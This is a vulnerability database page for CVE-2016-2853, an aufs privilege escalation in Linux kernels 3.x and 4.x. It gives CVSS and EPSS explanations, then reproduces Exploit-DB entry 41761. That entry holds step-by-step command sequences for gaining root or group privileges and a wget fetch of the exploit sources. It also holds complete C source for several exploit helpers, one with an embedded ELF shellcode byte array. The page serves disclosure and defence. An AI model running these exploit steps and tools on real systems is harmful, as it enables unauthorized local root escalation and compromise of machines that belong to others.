CVE-2016-2853 : Detail

CVE-2016-2853

7.8
/
High
Improper Privilege Management
A04-Insecure Design
0.05%V3
Local
2016-05-02
08h00 +00:00
2021-10-18
18h06 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The aufs module for the Linux kernel 3.x and 4.x does not properly restrict the mount namespace, which allows local users to gain privileges by mounting an aufs filesystem on top of a FUSE filesystem, and then executing a crafted setuid program.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 4.4 AV:L/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 41761

Publication date : 2016-02-18 23h00 +00:00
Author : halfdog
EDB Verified : No

Source: http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/ ## Introduction Problem description: Aufs is a union filesystem to mix content of different underlying filesystems, e.g. read-only medium with r/w RAM-fs. That is also allowed in user namespaces when module was loaded with allow_userns option. Due to different bugs, aufs in a crafted USERNS allows privilege escalation, which is a problem on systems enabling unprivileged USERNS by default, e.g. Ubuntu Wily. All the issues mentioned here were discovered after performing similar analysis on overlayfs, another USERNS enabled union filesystem. For a system to be exposed, unprivileged USERNS has to be available and AUFS support enabled for it by loading the aufs module with the appropriate option: modprobe aufs allow_userns. ## AUFS Over Fuse: Loss of Nosuid Method: Fuse filesystem can be mounted by unprivileged users with the help of the fusermount SUID program. Fuse then can simulate files of any type, mode, UID but they are only visible to the user mounting the filesystem and lose all SUID properties. Those files can be exposed using aufs including the problematic SUID properties. The basic exploitation sequence is: - Mount fuse filesystem exposing crafted SUID binary - Create USERNS - Mount aufs on top of fuse - Execute the SUID binary via aufs from outside the namespace The issue can then be demonstrated using: SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c) FuseMinimal (http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/FuseMinimal.c) UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) test$ mkdir fuse mnt work test$ mv SuidExec RealFile test$ ./FuseMinimal fuse test$ ./UserNamespaceExec -- /bin/bash root$ mount -t aufs -o br=work:fuse none mnt root$ cd mnt # Now cwd of the former process is within the aufs mount. Use # another shell to complete. test$ /proc/2390/cwd/file /bin/bash root$ id uid=0(root) gid=100(users) groups=100(users) # Go back to old shell for cleanup. root$ cd ..; umount mnt; exit test$ fusermount -u fuse Discussion: In my opinion, fuse filesystem allowed pretending to have files with different UIDs/GIDs in the local mount namespace, but they never had those properties, those files would have, when really stored on local disk. So e.g., the SUID binaries lost their SUID-properties and the owner could also modify arbitrary file content, even if file attributes were pretending, that he does not have access - by having control over the fuse process simulating the filesystem, such access control is futile. That is also the reason, why no other user than the one mounting the filesystem may have rights to access it by default. In my optionion the workarounds should be to restrict access to fuse also only to the mount namespace where it was created. ## AUFS Xattr Setgid Privilege Escalation Method: Due to inheritance of Posix ACL information (xattrs) when aufs is copying files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are: /usr/local/lib/python3.4 (root.staff) /var/lib/libuuid (libuuid.libuuid) /var/local (root.staff) /var/mail (root.mail) Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit. test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c test$ gcc -o UserNamespaceExec UserNamespaceExec.c test$ gcc -o SuidExec SuidExec.c test$ mkdir mnt test test$ setfacl -m "d:u:$(id -u):rwx" test test$ ./UserNamespaceExec -- /bin/bash root$ mount -t aufs -o br=test:/var none mnt root$ chmod 07777 mnt/mail root$ umount mnt; exit test$ ./CreateSetgidBinary test/mail/escalate /bin/mount x nonexistent-arg test$ test/mail/escalate ./SuidExec /usr/bin/id uid=1000(test) gid=8(mail) groups=8(mail),100(users) On Ubuntu, exploitation allows interference with mail spool and allows to gain privileges of other python processes using python dist-packages owned by user root.staff. If root user calls a python process in that way, e.g. via apport crash dump tool, local root escalation is completed. According to this post (http://www.openwall.com/lists/oss-security/2016/01/16/7), directories or binaries owned by group staff are in the default PATH of the root user, hence local root escalation is trivial. --- SuidExec.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * This tool changes to uid/gid 0 and executes the program supplied * via arguments. */ #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> extern char **environ; int main(int argc, char **argv) { if(argc<2) { fprintf(stderr, "Usage: %s [execargs]\n", argv[0]); return(1); } int rUid, eUid, sUid, rGid, eGid, sGid; getresuid(&rUid, &eUid, &sUid); getresgid(&rGid, &eGid, &sGid); if(setresuid(sUid, sUid, rUid)) { fprintf(stderr, "Failed to set uids\n"); return(1); } if(setresgid(sGid, sGid, rGid)) { fprintf(stderr, "Failed to set gids\n"); return(1); } execve(argv[1], argv+1, environ); return(1); } --- EOF --- --- FuseMinimal.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2016 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * Minimal userspace file system demo, compile using * gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse * * See also /usr/include/fuse/fuse.h */ #define FUSE_USE_VERSION 28 #include <errno.h> #include <fuse.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static FILE *logFile; static char *fileNameNormal="/file"; static char *fileNameCharDev="/chardev"; static char *fileNameNormalSubFile="/dir/file"; static char *realFileName="./RealFile"; static int realFileHandle=-1; static int io_getattr(const char *path, struct stat *stbuf) { fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n", path, stbuf); fflush(logFile); int res=-ENOENT; memset(stbuf, 0, sizeof(struct stat)); if(strcmp(path, "/") == 0) { stbuf->st_mode=S_IFDIR|0755; stbuf->st_nlink=2; res=0; } else if(strcmp(path, fileNameCharDev)==0) { // stbuf->st_dev=makedev(5, 2); stbuf->st_mode=S_IFCHR|0777; stbuf->st_rdev=makedev(5, 2); stbuf->st_nlink=1; // Number of hard links stbuf->st_size=100; res=0; } else if(strcmp(path, "/dir")==0) { stbuf->st_mode=S_IFDIR|S_ISGID|0777; stbuf->st_nlink=1; // Number of hard links stbuf->st_size=1<<12; res=0; } else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) { stbuf->st_mode=S_ISUID|S_IFREG|0777; stbuf->st_size=100; if(realFileName) { if(fstat(realFileHandle, stbuf)) { fprintf(logFile, "Stat of %s failed, error %d (%s)\n", realFileName, errno, strerror(errno)); } else { // Just change uid/suid, which is far more interesting during testing stbuf->st_mode|=S_ISUID; stbuf->st_uid=0; stbuf->st_gid=0; } } else { stbuf->st_mode=S_ISUID|S_IFREG|0777; stbuf->st_size=100; } stbuf->st_nlink=1; // Number of hard links res=0; } return(res); } static int io_readlink(const char *path, char *buffer, size_t length) { fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n", path, buffer, (long)length); fflush(logFile); return(-1); } static int io_unlink(const char *path) { fprintf(logFile, "io_unlink(path=\"%s\")\n", path); fflush(logFile); return(0); } static int io_rename(const char *oldPath, const char *newPath) { fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n", oldPath, newPath); fflush(logFile); return(0); } static int io_chmod(const char *path, mode_t mode) { fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode); fflush(logFile); return(0); } static int io_chown(const char *path, uid_t uid, gid_t gid) { fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid); fflush(logFile); return(0); } /** Open a file. This function checks access permissions and may * associate a file info structure for future access. * @returns 0 when open OK */ static int io_open(const char *path, struct fuse_file_info *fi) { fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi); fflush(logFile); return(0); } static int io_read(const char *path, char *buffer, size_t length, off_t offset, struct fuse_file_info *fi) { fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n", path, buffer, (long)length, (long)offset, fi); fflush(logFile); if(length<0) return(-1); if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) { if(!realFileName) { if((offset<0)||(offset>4)) return(-1); if(offset+length>4) length=4-offset; if(length>0) memcpy(buffer, "xxxx", length); return(length); } if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) { fprintf(stderr, "read: seek on %s failed\n", path); return(-1); } return(read(realFileHandle, buffer, length)); } return(-1); } static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n", path, buf, filler, ((long)offset), fi); fflush(logFile); (void) offset; (void) fi; if(!strcmp(path, "/")) { filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, fileNameCharDev+1, NULL, 0); filler(buf, "dir", NULL, 0); filler(buf, fileNameNormal+1, NULL, 0); return(0); } else if(!strcmp(path, "/dir")) { filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, "file", NULL, 0); return(0); } return -ENOENT; } static int io_access(const char *path, int mode) { fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n", path, mode); fflush(logFile); return(0); } static int io_ioctl(const char *path, int cmd, void *arg, struct fuse_file_info *fi, unsigned int flags, void *data) { fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n", path, cmd, arg, fi, flags, data); fflush(logFile); return(0); } static struct fuse_operations hello_oper = { .getattr = io_getattr, .readlink = io_readlink, // .getdir = deprecated // .mknod // .mkdir .unlink = io_unlink, // .rmdir // .symlink .rename = io_rename, // .link .chmod = io_chmod, .chown = io_chown, // .truncate // .utime .open = io_open, .read = io_read, // .write // .statfs // .flush // .release // .fsync // .setxattr // .getxattr // .listxattr // .removexattr // .opendir .readdir = io_readdir, // .releasedir // .fsyncdir // .init // .destroy .access = io_access, // .create // .ftruncate // .fgetattr // .lock // .utimens // .bmap .ioctl = io_ioctl, // .poll }; int main(int argc, char *argv[]) { char buffer[128]; realFileHandle=open(realFileName, O_RDWR); if(realFileHandle<0) { fprintf(stderr, "Failed to open %s\n", realFileName); exit(1); } snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid()); logFile=fopen(buffer, "a"); if(!logFile) { fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno)); return(1); } fprintf(logFile, "Starting fuse init\n"); fflush(logFile); return fuse_main(argc, argv, &hello_oper, NULL); } --- EOF --- --- UserNamespaceExec.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015-2016 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * This tool creates a new namespace, initialize the uid/gid * map and execute the program given as argument. This is similar * to unshare(1) from newer util-linux packages. * * gcc -o UserNamespaceExec UserNamespaceExec.c * * Usage: UserNamespaceExec [options] -- [program] [args] * * * --NoSetGroups: do not disable group chanages * * --NoSetGidMap: * * --NoSetUidMap: */ #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> extern char **environ; static int childFunc(void *arg) { int parentPid=getppid(); fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); while((geteuid()!=0)&&(parentPid==getppid())) { sleep(1); } fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); int result=execve(((char**)arg)[0], (char**)arg, environ); fprintf(stderr, "Exec failed\n"); return(1); } #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE]; int main(int argc, char *argv[]) { int argPos; int noSetGroupsFlag=0; int setGidMapFlag=1; int setUidMapFlag=1; int result; for(argPos=1; argPos<argc; argPos++) { char *argName=argv[argPos]; if(!strcmp(argName, "--")) { argPos++; break; } if(strncmp(argName, "--", 2)) { break; } if(!strcmp(argName, "--NoSetGidMap")) { setGidMapFlag=0; continue; } if(!strcmp(argName, "--NoSetGroups")) { noSetGroupsFlag=1; continue; } if(!strcmp(argName, "--NoSetUidMap")) { setUidMapFlag=0; continue; } fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName); exit(1); } // Create child; child commences execution in childFunc() // CLONE_NEWNS: new mount namespace // CLONE_NEWPID // CLONE_NEWUTS pid_t pid=clone(childFunc, child_stack+STACK_SIZE, CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos); if(pid==-1) { fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno)); return(1); } char idMapFileName[128]; char idMapData[128]; if(!noSetGroupsFlag) { sprintf(idMapFileName, "/proc/%d/setgroups", pid); int setGroupsFd=open(idMapFileName, O_WRONLY); if(setGroupsFd<0) { fprintf(stderr, "Failed to open setgroups\n"); return(1); } result=write(setGroupsFd, "deny", 4); if(result<0) { fprintf(stderr, "Failed to disable setgroups\n"); return(1); } close(setGroupsFd); } if(setUidMapFlag) { sprintf(idMapFileName, "/proc/%d/uid_map", pid); fprintf(stderr, "Setting uid map in %s\n", idMapFileName); int uidMapFd=open(idMapFileName, O_WRONLY); if(uidMapFd<0) { fprintf(stderr, "Failed to open uid map\n"); return(1); } sprintf(idMapData, "0 %d 1\n", getuid()); result=write(uidMapFd, idMapData, strlen(idMapData)); if(result<0) { fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno)); return(1); } close(uidMapFd); } if(setGidMapFlag) { sprintf(idMapFileName, "/proc/%d/gid_map", pid); fprintf(stderr, "Setting gid map in %s\n", idMapFileName); int gidMapFd=open(idMapFileName, O_WRONLY); if(gidMapFd<0) { fprintf(stderr, "Failed to open gid map\n"); return(1); } sprintf(idMapData, "0 %d 1\n", getgid()); result=write(gidMapFd, idMapData, strlen(idMapData)); if(result<0) { if(noSetGroupsFlag) { fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno)); } else { fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno)); return(1); } } close(gidMapFd); } if(waitpid(pid, NULL, 0)==-1) { fprintf(stderr, "Wait failed\n"); return(1); } return(0); } --- EOF --- --- CreateSetgidBinary.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * This tool allows to create a setgid binary in appropriate directory * to escalate to the group of this directory. * * Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c * * Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args] * * Example: * * # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg * # ls -al ./escalate * # ./escalate /bin/sh * * Copyright (c) 2015-2017 halfdog <me (%) halfdog.net> * License: https://www.gnu.org/licenses/lgpl-3.0.en.html * * See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information. */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/resource.h> #include <unistd.h> #include <sys/wait.h> int main(int argc, char **argv) { // No slashes allowed, everything else is OK. char suidExecMinimalElf[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00, 0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00, 0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08, 0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8, 0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0, 0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80 }; int destFd=open(argv[1], O_RDWR|O_CREAT, 07777); if(destFd<0) { fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno)); return(1); } char *suidWriteNext=suidExecMinimalElf; char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf); while(suidWriteNext!=suidWriteEnd) { char *suidWriteTestPos=suidWriteNext; while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; // We cannot write any 0-bytes. So let seek fill up the file wihh // null-bytes for us. lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET); suidWriteNext=suidWriteTestPos; while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; int result=fork(); if(!result) { struct rlimit limits; // We can't truncate, that would remove the setgid property of // the file. So make sure the SUID binary does not write too much. limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf; limits.rlim_max=limits.rlim_cur; setrlimit(RLIMIT_FSIZE, &limits); // Do not rely on some SUID binary to print out the unmodified // program name, some OSes might have hardening against that. // Let the ld-loader will do that for us. limits.rlim_cur=1<<22; limits.rlim_max=limits.rlim_cur; result=setrlimit(RLIMIT_AS, &limits); dup2(destFd, 1); dup2(destFd, 2); argv[3]=suidWriteNext; execve(argv[2], argv+3, NULL); fprintf(stderr, "Exec failed\n"); return(1); } waitpid(result, NULL, 0); suidWriteNext=suidWriteTestPos; // ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf); } fprintf(stderr, "Completed\n"); return(0); } --- EOF ---

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 3.0.0 To (including) 3.19.8

Linux>>Linux_kernel >> Version From (including) 4.0.0 To (including) 4.20.15

References

http://www.securityfocus.com/bid/96839
Tags : vdb-entry, x_refsource_BID
http://www.openwall.com/lists/oss-security/2016/02/24/9
Tags : mailing-list, x_refsource_MLIST
https://sourceforge.net/p/aufs/mailman/message/34864744/
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/18/1
Tags : mailing-list, x_refsource_MLIST